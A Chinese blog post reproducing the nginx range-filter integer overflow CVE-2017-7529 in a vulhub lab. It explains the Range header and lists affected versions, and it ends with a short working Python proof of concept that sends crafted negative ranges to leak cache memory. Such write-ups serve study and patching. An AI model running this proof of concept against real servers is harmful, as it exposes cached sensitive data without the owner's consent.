Nginx越界读取缓存漏洞(CVE-2017-7529)

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!

理论知识

range

        The Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200

range格式:

Range: <unit>=<range-start>-
Range: <unit>=<range-start>-<range-end>
Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>

range事例:

Range: bytes=500-999 //表示第 500-999 字节范围的内容
Range: bytes=-500  // 表示最后 500 字节的内容
Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
Range: bytes=500-600,601-999 //同时指定几个范围

漏洞原理

        主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。

影响版本:Nginx 的 0.5.6 - 1.13.2版本

漏洞复现

一、vulhub搭建起靶场

 二、vulhub中有自带的poc

 三、直接python3   poc.py   http://your-ip:8080

 总结

        这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。

POC

import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

参考文章:

Range - HTTP | MDNThe Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Range

Nginx整数溢出漏洞CVE-2017-7529 - 知乎漏洞简介 NginxNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少,并发能力较强,Nginx 可以在大多数 UnixLinux OS 上编译运行…https://zhuanlan.zhihu.com/p/34155943

Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 漏洞概述 ​在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的https://www.cnblogs.com/qweg/p/16549957.html

Nginx配置——反向代理_止步前行的博客-CSDN博客_nginx反向代理Nginxhttps://blog.csdn.net/zxd1435513775/article/details/102508463

漏洞复现-CVE-2017-7529-敏感信息泄露 - 铺哩 - 博客园Nginx敏感信息泄露漏洞(CVE-2017-7529)https://www.cnblogs.com/cute-puli/p/13282355.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值